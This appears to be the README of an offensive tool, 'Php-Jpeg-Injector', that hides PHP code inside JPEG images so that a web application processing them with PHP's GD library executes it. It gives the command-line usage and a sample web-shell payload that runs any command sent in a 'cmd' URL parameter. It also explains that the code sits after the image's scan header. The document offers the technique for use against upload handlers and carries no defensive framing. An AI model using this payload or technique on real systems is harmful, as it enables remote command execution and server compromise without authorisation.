Php-Jpeg-Injector - Injects Php Payloads Into Jpeg Images

Injects php payloads into jpeg images. Related to this post.

Use Case

You have a web application that runs a jpeg image through PHP's GD graphics library.


This script injects PHP code into a specified jpeg image. The web application will execute the payload if it interprets the image. Make sure your input jpeg is uncompressed!


python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG]

e.g. python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg

How it works

PHP code is injected in the null/garbage (brown) space after the scan header:

The new infected jpeg is run through PHP's gd-library. PHP interprets the payload injected in the jpeg and executes it.

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